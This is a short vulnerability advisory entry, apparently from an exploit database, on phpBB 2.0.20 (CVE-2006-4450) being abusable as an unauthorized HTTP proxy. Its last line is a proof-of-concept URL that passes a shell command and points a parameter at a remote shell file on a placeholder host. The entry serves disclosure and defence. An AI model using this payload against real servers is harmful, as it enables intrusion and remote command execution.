phpBB 2.0.20 - Unauthorized HTTP Proxy

Author: rgod
type: webapps
platform: php
port: 
date_added: 2006-05-12
date_updated: 2013-08-25
verified: 1
codes: CVE-2006-4450;OSVDB-25565
tags: 
aliases: 
screenshot_url: 
application_url: 

source: https://www.securityfocus.com/bid/17965/info

phpBB is prone to a vulnerability that could permit the application to become an unauthorized HTTP proxy.

An attacker can exploit this issue to manipulate phpBB into becoming an HTTP proxy.

http://www.example.com/somescript.php?cmd=ls%20-la&xpl=http://www.example2.com/someshell.txt